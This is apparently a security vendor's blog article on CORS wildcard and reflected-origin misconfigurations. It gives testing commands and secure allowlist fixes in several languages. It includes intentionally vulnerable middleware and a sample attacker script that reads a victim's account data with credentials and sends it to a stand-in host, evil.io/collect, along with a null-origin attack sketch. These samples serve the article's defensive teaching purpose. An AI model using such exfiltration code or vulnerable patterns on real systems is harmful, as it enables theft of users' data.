Skip to main content

Free 30-min security demo  — We'll scan your real code and show live findings, no commitment Book Now

Offensive360
Vulnerability Research

CORS Wildcard (Access-Control-Allow-Origin: *): Risks & Fix

Access-Control-Allow-Origin: * exposes your API to any website. Learn when CORS wildcard is safe, when it's dangerous, and how to replace it with a secure origin allowlist.

Offensive360 Security Research Team — min read
CORS cors wildcard Access-Control-Allow-Origin CORSAllowOriginWildcard cors misconfiguration web security API security CWE-942 CORS vulnerability cors fix cors allow origin wildcard

Access-Control-Allow-Origin: * is the CORS wildcard header — and it is one of the most frequently misused security headers in web development. When used correctly, it’s harmless. When combined with credentials or applied to sensitive API endpoints, it is a critical security vulnerability that allows any website on the internet to read your API responses using your users’ session cookies.

This guide explains exactly when the CORS wildcard is safe, when it becomes a vulnerability (CWE-942), and how to replace it with a precise, secure origin allowlist.


What Is CORS and Why Does It Exist?

The Same-Origin Policy (SOP) is the browser’s fundamental security boundary: JavaScript running on https://attacker.io cannot read the HTTP responses from https://yourapi.com. This prevents attacker-hosted pages from silently exfiltrating your users’ data using their session credentials.

CORS (Cross-Origin Resource Sharing) is the mechanism that selectively relaxes this boundary for legitimate use cases — your frontend at https://app.yourcompany.com making API calls to https://api.yourcompany.com. The server tells the browser which origins are permitted to read its responses via the Access-Control-Allow-Origin response header.

The wildcard * tells the browser: any origin is permitted to read this response.


When Access-Control-Allow-Origin: * Is Safe

The CORS wildcard is appropriate and safe only when both of these conditions are true:

  1. The endpoint serves public, non-authenticated data — no session cookies, no authorization tokens, no user-specific content
  2. The endpoint never uses Access-Control-Allow-Credentials: true

Common safe examples:

  • Public CDN assets (fonts, images, JavaScript libraries)
  • Open data APIs that serve public information to any caller (weather data, public transit schedules)
  • Public documentation APIs
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json

{"version": "1.0", "status": "operational"}

The above is safe: a status endpoint serving public data with no authentication.


When Access-Control-Allow-Origin: * Becomes a Vulnerability

The CORS wildcard becomes a critical security vulnerability in the following scenarios:

Scenario 1: Wildcard with Credentials (Always Rejected — but Misconfigured Intent)

The CORS specification explicitly prohibits combining Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. Browsers will refuse to process this combination and the credentialed cross-origin request will fail.

However, developers who set both headers often “fix” the broken credentialed requests by switching to reflected origin mode — which is far more dangerous:

// VULNERABLE — developer "fixes" the wildcard + credentials problem
// by reflecting the Origin header back
app.use((req, res, next) => {
  const origin = req.headers.origin;
  // "Fixing" the wildcard: reflect whatever origin the client sends
  res.setHeader('Access-Control-Allow-Origin', origin || '*');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});
// Result: ANY origin can make credentialed requests and read responses

This is worse than the wildcard — it allows credentialed cross-origin requests from any origin.

Scenario 2: Wildcard on Authenticated API Endpoints

Even without credentials, a wildcard on an API endpoint that uses token-based authentication (JWT in Authorization header, API key in custom header) can be dangerous in certain configurations:

GET /api/user/profile HTTP/1.1
Host: api.yourcompany.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json

{"id": 1, "email": "[email protected]", "role": "admin"}

If an attacker can induce the victim to make this request (e.g., via a stored token in localStorage that JavaScript can access), the wildcard allows reading the response. The risk depends on how the token is stored and transmitted.

Scenario 3: Wildcard + Sensitive Data

The clearest vulnerability case: a wildcard header on an endpoint returning sensitive data, even without credentials, allows any website to read that data if the user can be induced to make the request while the data is accessible.


The Attack: How an Attacker Exploits CORS Wildcard with Credentials

For the credentialed case (the most impactful exploit), the attack flow is:

  1. The victim visits https://evil.io while logged into https://yourapp.com
  2. JavaScript on evil.io makes a fetch() request to https://api.yourapp.com/user/account with credentials: 'include'
  3. The browser automatically includes the victim’s session cookie for yourapp.com in the request
  4. api.yourapp.com responds with Access-Control-Allow-Origin: * (or the reflected origin) and Access-Control-Allow-Credentials: true
  5. The browser allows evil.io’s JavaScript to read the response body — which contains the victim’s account data
  6. evil.io exfiltrates the account data to the attacker’s server
// Code on evil.io that performs the attack
fetch('https://api.yourapp.com/user/account', {
  method: 'GET',
  credentials: 'include', // Sends the victim's session cookie
})
.then(res => res.json())
.then(data => {
  // data contains the victim's account information
  fetch('https://evil.io/collect', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

The victim has no indication this happened — the request occurs entirely in the background.


Identifying CORS Wildcard Misconfigurations

Manual Testing

# Test 1: Basic wildcard response
curl -si -H "Origin: https://evil.io" \
     https://api.yoursite.com/user/profile \
     | grep -i "access-control"

# Look for:
# Access-Control-Allow-Origin: *  ← wildcard (check if endpoint needs auth)
# Access-Control-Allow-Origin: https://evil.io  ← reflected origin (always dangerous)
# Access-Control-Allow-Credentials: true  ← combined with above = critical vuln

# Test 2: Reflected origin check
curl -si -H "Origin: https://completely-random-domain.com" \
     https://api.yoursite.com/user/profile \
     | grep "access-control-allow-origin"

# If the response contains your attacker origin — reflected origin vulnerability

What SAST Tools Detect

Offensive360 SAST detects CORS wildcard misconfigurations under the CORSAllowOriginWildcard rule, which flags:

  • Access-Control-Allow-Origin set to * via code (hardcoded or variable)
  • Patterns where the Origin request header value is directly copied into Access-Control-Allow-Origin
  • Framework-level CORS configurations with overly permissive settings (e.g., AllowAnyOrigin() in ASP.NET Core middleware)

The detection covers Node.js, Python, Java, PHP, Go, C#, and Ruby codebases. See the CORS Wildcard reference in the knowledge base for language-specific detection patterns.


The Correct Fix: Replace Wildcard with an Exact Origin Allowlist

The safest and most reliable CORS implementation is an exact string match against a static set of allowed origins. No parsing, no regex, no substring checks — just a Set lookup.

Node.js / Express

// SECURE — exact Set lookup, no parsing edge cases
const ALLOWED_ORIGINS = new Set([
  'https://app.yourcompany.com',
  'https://yourcompany.com',
  'https://staging.yourcompany.com',
]);

function corsMiddleware(req, res, next) {
  const origin = req.headers.origin;

  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Vary', 'Origin'); // Required for correct CDN caching
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, PATCH, DELETE, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization, X-API-Key');
    res.setHeader('Access-Control-Max-Age', '86400');
  }

  if (req.method === 'OPTIONS') {
    return res.sendStatus(204);
  }

  next();
}

app.use(corsMiddleware);

Python / Flask

from flask import Flask, request
from functools import wraps

app = Flask(__name__)

ALLOWED_ORIGINS = frozenset([
    'https://app.yourcompany.com',
    'https://yourcompany.com',
    'https://staging.yourcompany.com',
])

@app.after_request
def set_cors_headers(response):
    origin = request.headers.get('Origin', '')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Vary'] = 'Origin'
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Access-Control-Allow-Methods'] = \
            'GET, POST, PUT, PATCH, DELETE, OPTIONS'
        response.headers['Access-Control-Allow-Headers'] = \
            'Content-Type, Authorization, X-Requested-With'
    return response

Java / Spring Boot

@Configuration
public class CorsConfig {

    @Bean
    public CorsConfigurationSource corsConfigurationSource() {
        CorsConfiguration config = new CorsConfiguration();

        // Explicit allowlist — Spring performs exact matching
        config.setAllowedOrigins(List.of(
            "https://app.yourcompany.com",
            "https://yourcompany.com",
            "https://staging.yourcompany.com"
        ));

        config.setAllowedMethods(List.of(
            "GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"
        ));

        config.setAllowedHeaders(List.of(
            "Content-Type", "Authorization", "X-Requested-With", "X-API-Key"
        ));

        config.setAllowCredentials(true);
        config.setMaxAge(86400L);

        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
        source.registerCorsConfiguration("/api/**", config);
        return source;
    }
}

ASP.NET Core (C#)

// Program.cs — ASP.NET Core 6+
var builder = WebApplication.CreateBuilder(args);

builder.Services.AddCors(options =>
{
    options.AddPolicy("AllowedOriginsPolicy", policy =>
    {
        // Named origins list — no wildcards
        policy
            .WithOrigins(
                "https://app.yourcompany.com",
                "https://yourcompany.com",
                "https://staging.yourcompany.com"
            )
            .AllowAnyMethod()
            .AllowAnyHeader()
            .AllowCredentials(); // Safe because WithOrigins() is explicit
    });

    // DO NOT use:
    // policy.AllowAnyOrigin().AllowCredentials() — throws at runtime
    // policy.AllowAnyOrigin() on authenticated endpoints — too permissive
});

var app = builder.Build();
app.UseCors("AllowedOriginsPolicy");

Go (gin-contrib/cors)

import (
    "github.com/gin-contrib/cors"
    "github.com/gin-gonic/gin"
)

func main() {
    r := gin.Default()

    r.Use(cors.New(cors.Config{
        AllowOrigins: []string{
            "https://app.yourcompany.com",
            "https://yourcompany.com",
            "https://staging.yourcompany.com",
        },
        AllowMethods:     []string{"GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"},
        AllowHeaders:     []string{"Origin", "Content-Type", "Authorization", "X-API-Key"},
        AllowCredentials: true,
        MaxAge:           86400,
    }))

    r.Run()
}

PHP

<?php
// Exact allowlist — no wildcard, no substring check
$allowedOrigins = [
    'https://app.yourcompany.com',
    'https://yourcompany.com',
    'https://staging.yourcompany.com',
];

$origin = $_SERVER['HTTP_ORIGIN'] ?? '';

if (in_array($origin, $allowedOrigins, strict: true)) {
    header("Access-Control-Allow-Origin: $origin");
    header("Vary: Origin");
    header("Access-Control-Allow-Credentials: true");
    header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
    header("Access-Control-Allow-Headers: Content-Type, Authorization, X-API-Key");
}

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(204);
    exit;
}

Common CORS Wildcard Mistakes to Avoid

Mistake 1: Using * for Authenticated Endpoints

# WRONG — wildcard in nginx for an authenticated API proxy
location /api/ {
    add_header Access-Control-Allow-Origin *;  # Dangerous if API requires auth
    proxy_pass http://backend:8080/;
}

# CORRECT — restrict origin at the application layer, not nginx
location /api/ {
    proxy_pass http://backend:8080/;
    # Let the application handle CORS headers selectively
}

Mistake 2: Regex Origin Matching Without Anchoring

# WRONG — unanchored regex allows bypass
import re
if re.search(r'yourcompany\.com', origin):
    response.headers['Access-Control-Allow-Origin'] = origin
# Passes: https://evil-yourcompany.com
# Passes: https://yourcompany.com.attacker.io

# CORRECT — exact set membership
if origin in ALLOWED_ORIGINS:
    response.headers['Access-Control-Allow-Origin'] = origin

Mistake 3: Substring Matching

// WRONG — indexOf/includes allows bypass
if (origin.includes('yourcompany.com')) {
  res.setHeader('Access-Control-Allow-Origin', origin);
}
// Passes: https://evil-yourcompany.com

// CORRECT — Set.has() exact match
if (ALLOWED_ORIGINS.has(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
}

Mistake 4: Forgetting the Vary: Origin Header

When you dynamically set Access-Control-Allow-Origin to a specific origin (not *), you must also set Vary: Origin. Without it, CDNs and proxies may cache a response with one origin’s CORS headers and serve it to requests from different origins:

// CORRECT — always pair dynamic ACAO with Vary: Origin
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin'); // ← Required

CORS Wildcard vs. Reflected Origin: Which Is Worse?

ConfigurationCredentials Possible?Risk Level
ACAO: * (no credentials)NoLow for public data; Medium if auth via header
ACAO: * + ACAC: trueRejected by browserBroken (not dangerous but broken)
Reflected origin + ACAC: trueYesCritical — any site can steal auth’d data
Reflected origin (no credentials)NoMedium — depends on data sensitivity
Exact allowlist + ACAC: trueYes (trusted origins only)Safe

The exact allowlist with explicit trusted origins is the only configuration that is both functional (supports credentialed cross-origin requests for your frontend) and secure (rejects requests from any other origin).


Frequently Asked Questions

Is Access-Control-Allow-Origin: * always dangerous?

No. For truly public, unauthenticated API endpoints serving non-sensitive data, * is acceptable and even appropriate. The vulnerability arises when the wildcard is used on endpoints that handle authentication or return user-specific data — especially when combined with Access-Control-Allow-Credentials: true (which browsers reject) or when developers “fix” this by reflecting the Origin header instead.

Does a CORS misconfiguration allow server-side attacks?

No. CORS is a browser security mechanism. A CORS misconfiguration only matters when the attack goes through a browser — the attacker’s JavaScript on a malicious page uses the victim’s browser to make cross-origin requests. Direct server-to-server calls (curl, Postman, automated scanners) are not subject to CORS. However, the real-world impact of cross-site credential theft is very high.

Can a WAF block CORS attacks?

A WAF can block some CORS-related requests but is not a reliable mitigation for a CORS misconfiguration. The correct fix is to remove the wildcard header and implement an explicit origin allowlist at the application level.

Does null as an origin need to be handled?

Yes. Browsers send Origin: null for requests from sandboxed iframes, file:// pages, and some redirect scenarios. If your code reflects the Origin header without validation, null origins can be exploited. Always validate against your allowlist — and ensure null is not in your allowlist.

// The null origin attack
// Attacker creates: <iframe sandbox="allow-scripts" src="data:text/html,...">
// Inside the iframe, Origin: null is sent
// If your server reflects it: Access-Control-Allow-Origin: null
// Browser allows the credentialed cross-origin request from the sandboxed iframe

Detecting CORS Wildcard with Offensive360 SAST

Offensive360 SAST detects CORS wildcard misconfigurations (CORSAllowOriginWildcard) across Node.js, Python, Java, PHP, Go, C#, and Ruby. The scanner identifies:

  • Hardcoded * values in Access-Control-Allow-Origin header assignments
  • Framework-level CORS configurations using AllowAnyOrigin() or equivalent
  • Origin reflection patterns where request.headers.origin flows directly into the CORS response header without allowlist validation
  • Configurations where AllowCredentials: true is combined with a wildcard or reflected origin

View the CORSAllowOriginWildcard vulnerability reference →


Offensive360 SAST scans your API server code for CORS misconfigurations, reflected-origin patterns, and 100+ other web application vulnerability classes. Run a one-time code scan for $500 or book a demo to see it in action.

Offensive360 Security Research Team

Application Security Research

Find vulnerabilities before attackers do

Run Offensive360 SAST and DAST against your applications and get a full vulnerability report in minutes.